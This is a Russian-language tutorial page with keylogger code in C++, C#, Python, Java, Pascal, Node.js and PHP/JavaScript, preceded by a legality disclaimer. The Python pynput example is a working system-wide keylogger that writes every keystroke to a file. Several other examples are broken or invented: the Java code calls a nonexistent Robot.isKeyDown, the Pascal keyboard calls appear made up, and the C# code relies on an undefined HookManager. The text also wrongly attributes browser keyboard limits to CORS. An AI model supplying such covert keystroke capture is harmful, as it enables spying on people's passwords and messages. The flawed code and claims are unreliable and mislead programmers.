Программа обработки нажатия клавиш

В мире современных технологий, где цифровая безопасность и конфиденциальность данных играют важную роль, программа обработки нажатия клавиш представляет собой мощный инструмент для мониторинга и анализа активности клавиатуры компьютера. Независимо от того, нужно ли вам отслеживать нажатия клавиш для целей безопасности, администрирования или учебных исследований, разработка такой программы может быть как интересным проектом, так и средством обеспечения информационной безопасности. В данной статье мы рассмотрим основы создания программы обработки нажатия клавиш на разных языках программирования, начиная от С++ и C# и заканчивая JavaScript и PHP.

Важно

Использование подобных программ для записи клавиш может быть незаконным и нарушать частную жизнь и безопасность. Убедитесь, что вы имеете соответствующие разрешения и используете такие программы только в законных целях, например, для тестирования и обеспечения безопасности согласно законодательству вашей страны.

C++

Для обработки нажатия клавиш и записи их в текстовый файл на C++, вы можете использовать библиотеку conio.h для Windows или ncurses для Unix-подобных систем. В данном примере, я предоставлю код для Windows с использованием conio.h. Если вы планируете использовать другую платформу, вам нужно будет адаптировать код для соответствующей библиотеки.

Пример программы, которая записывает нажатые клавиши в текстовый файл keylog.txt:

#include <iostream>
#include <fstream>
#include <conio.h>  // Для _getch() и _kbhit() в Windows

int main() {
    std::ofstream outputFile("keylog.txt");

    if (!outputFile.is_open()) {
        std::cerr << "Не удалось открыть файл для записи." << std::endl;
        return 1;
    }

    std::cout << "Нажмите клавиши (ESC для выхода)..." << std::endl;

    while (true) {
        if (_kbhit()) {  // Проверяем, была ли нажата клавиша
            char key = _getch();  // Получаем нажатую клавишу
            if (key == 27) {  // Если нажата клавиша ESC (код 27), завершаем программу
                break;
            }

            outputFile << key;  // Записываем нажатую клавишу в файл
            std::cout << key;   // Выводим нажатую клавишу на экран (для отображения)
        }
    }

    outputFile.close();
    std::cout << "\nЗапись завершена. Нажатые клавиши записаны в keylog.txt." << std::endl;
    return 0;
}

Этот код открывает файл keylog.txt для записи и ожидает нажатия клавиш. Когда клавиша нажата, она записывается в файл и отображается на экране (для отображения нажатых клавиш). Программа будет выполняться до тех пор, пока не будет нажата клавиша ESC (код 27), после чего программа завершится, закроет файл и завершит выполнение.

C#

Для обработки нажатия клавиш и записи их в текстовый файл на C#, вы можете использовать следующий пример кода. В этом примере используется библиотека System.Windows.Forms, и программа будет записывать нажатые клавиши в файл keylog.txt:

using System;
using System.IO;
using System.Windows.Forms;

class KeyLogger
{
    private static string logFilePath = "keylog.txt";

    [STAThread]
    static void Main()
    {
        Console.WriteLine("Keylogger запущен. Нажмите ESC для выхода.");

        using (StreamWriter sw = File.AppendText(logFilePath))
        {
            sw.WriteLine("Начало записи: " + DateTime.Now);
        }

        Application.Run(new KeyboardHook());
    }

    private class KeyboardHook : ApplicationContext
    {
        private KeyboardHook()
        {
            HookManager.KeyDown += HookManager_KeyDown;
            Application.ApplicationExit += Application_ApplicationExit;
        }

        private void HookManager_KeyDown(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.Escape)
            {
                Application.Exit();
            }

            using (StreamWriter sw = File.AppendText(logFilePath))
            {
                sw.WriteLine($"Клавиша: {e.KeyCode}, Время: {DateTime.Now}");
            }
        }

        private void Application_ApplicationExit(object sender, EventArgs e)
        {
            using (StreamWriter sw = File.AppendText(logFilePath))
            {
                sw.WriteLine("Завершение записи: " + DateTime.Now);
            }
        }
    }
}

Для запуска этой программы у вас должна быть установлена библиотека System.Windows.Forms. В приведенном коде создается Windows Forms приложение, которое перехватывает события нажатия клавиш и записывает их в файл keylog.txt. Программа завершает запись, когда клавиша ESC нажата.

Python

Для обработки нажатия клавиш и записи их в текстовый файл на Python, вы можете использовать библиотеку pynput. Установите эту библиотеку, если она еще не установлена, с помощью pip install pynput. Затем вы можете использовать следующий код:

from pynput import keyboard

# Функция, вызываемая при нажатии клавиши
def on_key_press(key):
    try:
        # Преобразуем нажатую клавишу в строку
        key_str = str(key.char)
    except AttributeError:
        # Если это специальная клавиша, то используем ее имя
        key_str = f"Special key ({key})"

    # Записываем нажатую клавишу в файл
    with open("keylog.txt", "a") as f:
        f.write(key_str)

# Функция, вызываемая при отпускании клавиши
def on_key_release(key):
    pass  # Ничего не делаем при отпускании клавиши

# Настройка мониторинга клавиш
with keyboard.Listener(on_press=on_key_press, on_release=on_key_release) as listener:
    listener.join()

Этот код использует библиотеку pynput для мониторинга нажатия клавиш. Каждая нажатая клавиша записывается в файл keylog.txt. Программа будет выполняться, пока вы не закроете ее вручную.

Java

Для обработки нажатия клавиш и записи их в текстовый файл на Java, вы можете использовать класс java.awt.Robot для мониторинга клавиш и класс java.io.FileWriter для записи в файл. Вот пример такой программы:

import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.KeyEvent;
import java.io.FileWriter;
import java.io.IOException;

public class Keylogger {

    public static void main(String[] args) {
        try {
            Robot robot = new Robot();
            FileWriter fileWriter = new FileWriter("keylog.txt");

            while (true) {
                for (int keyEvent = 0; keyEvent < 256; keyEvent++) {
                    if (robot.isKeyDown(keyEvent)) {
                        char key = KeyEvent.getKeyText(keyEvent).charAt(0);
                        if (Character.isLetterOrDigit(key) || Character.isWhitespace(key)) {
                            fileWriter.write(key);
                            fileWriter.flush();
                        }
                    }
                }

                Thread.sleep(10); // Задержка для снижения нагрузки на процессор
            }

        } catch (AWTException | IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
}

Этот код создает экземпляр класса Robot для мониторинга клавиш и экземпляр FileWriter для записи в файл keylog.txt. Программа бесконечно сканирует клавиши и записывает только буквы, цифры и пробелы в файл. Она выполняется до тех пор, пока не будет прервана пользователем.

Pascal

Пример программы на Pascal, которая будет записывать нажатые клавиши в текстовый файл «keylog.txt». Для мониторинга клавиш, мы будем использовать библиотеку keyboard:

program Keylogger;

{$APPTYPE CONSOLE}

uses
  SysUtils, keyboard, Classes;

var
  KeyLogFile: TextFile;

begin
  try
    // Открываем файл для записи
    Assign(KeyLogFile, 'keylog.txt');
    Rewrite(KeyLogFile);

    // Инициализируем библиотеку keyboard
    keyboard.Initialize;

    Writeln('Keylogger запущен. Нажмите ESC для выхода.');

    while not keyboard.KeyPressed(VK_ESCAPE) do
    begin
      if keyboard.KeyPressed(VK_SHIFT) then
      begin
        // Если нажата клавиша Shift, то записываем символ в верхнем регистре
        Write(KeyLogFile, UpperCase(keyboard.ReadKey));
      end
      else
      begin
        // Иначе записываем символ в нижнем регистре
        Write(KeyLogFile, LowerCase(keyboard.ReadKey));
      end;

      Flush(KeyLogFile);
    end;

    // Закрываем файл и завершаем программу
    Close(KeyLogFile);
    Writeln('Запись завершена. Нажатые клавиши записаны в keylog.txt.');
  except
    on E: Exception do
    begin
      Writeln('Произошла ошибка: ', E.Message);
    end;
  end;
end.

Этот код использует библиотеку keyboard для мониторинга клавиш. Программа будет выполняться до тех пор, пока не будет нажата клавиша «ESC«, после чего она закроет файл и завершит выполнение.

JavaScript (Node.js)

Прямо в браузере JavaScript не имеет прямого доступа к событиям клавиатуры из-за ограничений безопасности (CORS). Однако вы можете использовать Node.js для создания программы обработки нажатия клавиш и записи их в текстовый файл. Вот пример программы на Node.js.

Убедитесь, что Node.js установлен на вашем компьютере.

Создайте пустую папку для проекта и откройте терминал в этой папке.

Установите библиотеку readline с помощью команды:

npm install readline

Создайте файл с именем keylogger.js и добавьте следующий код:

const fs = require('fs');
const readline = require('readline');

const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout
});

const keyLogFile = 'keylog.txt';

console.log('Keylogger запущен. Нажмите Ctrl+C для завершения.');

// Открываем файл для записи
const logStream = fs.createWriteStream(keyLogFile, { flags: 'a' });

// Обработчик нажатия клавиш
rl.on('line', (input) => {
  logStream.write(input + '\n');
});

// Обработчик завершения программы
process.on('SIGINT', () => {
  console.log('Запись завершена. Нажатые клавиши записаны в keylog.txt.');
  logStream.end();
  process.exit();
});

Запустите программу с помощью команды:

node keylogger.js

Программа будет ожидать ввод с клавиатуры и записывать введенные строки в файл keylog.txt. Вы можете завершить программу, нажав Ctrl+C.

PHP

PHP не предоставляет нативного способа мониторинга нажатия клавиш, так как это язык программирования, ориентированный на веб-сервер. Однако вы можете использовать JavaScript для создания интерфейса веб-приложения, которое будет записывать нажатия клавиш и отправлять их на сервер PHP для записи в текстовый файл. Вот пример такой программы:

Создайте папку для вашего проекта и создайте в ней два файла: index.html и keylogger.php.

В файле index.html добавьте следующий код для создания интерфейса веб-приложения:

<!DOCTYPE html>
<html>
<head>
    <title>Keylogger</title>
</head>
<body>
    <h1>Keylogger</h1>
    <p>Нажмите клавиши. Для завершения записи нажмите кнопку "Завершить запись".</p>
    
    <textarea id="log" rows="10" cols="40"></textarea><br>
    
    <button id="start">Начать запись</button>
    <button id="stop">Завершить запись</button>
    
    <script>
        let log = '';
        
        document.getElementById('start').addEventListener('click', () => {
            document.getElementById('start').disabled = true;
            document.getElementById('stop').disabled = false;
            log = '';
            
            // Обработчик нажатия клавиш
            document.addEventListener('keydown', (event) => {
                log += event.key;
                document.getElementById('log').value = log;
            });
        });
        
        document.getElementById('stop').addEventListener('click', () => {
            document.getElementById('start').disabled = false;
            document.getElementById('stop').disabled = true;
            
            // Отправляем записанные данные на сервер PHP
            fetch('keylogger.php', {
                method: 'POST',
                body: JSON.stringify({ log }),
            })
            .then(response => response.text())
            .then(data => {
                console.log(data);
                log = '';
                document.getElementById('log').value = '';
            });
        });
    </script>
</body>
</html>

В файле keylogger.php добавьте следующий код для обработки запросов от клиента и записи нажатых клавиш в текстовый файл keylog.txt:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $data = json_decode(file_get_contents('php://input'), true);
    $log = $data['log'];
    
    // Записываем нажатые клавиши в текстовый файл
    file_put_contents('keylog.txt', $log);
    
    echo 'Запись завершена. Нажатые клавиши записаны в keylog.txt.';
}
?>

Запустите веб-сервер PHP (например, используя php -S localhost:8080), и откройте веб-страницу index.html в вашем браузере.

Теперь вы можете нажимать клавиши в браузере, и нажатые символы будут записываться в текстовый файл keylog.txt на сервере при нажатии кнопки «Завершить запись».

1 Звезда2 Звезды3 Звезды4 Звезды5 Звезд (Пока оценок нет)
Загрузка...
Давайте поможем друг другу! Если вы нашли ошибку или хотите предложить лучшее решение, пожалуйста, напишите об этом в комментариях.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *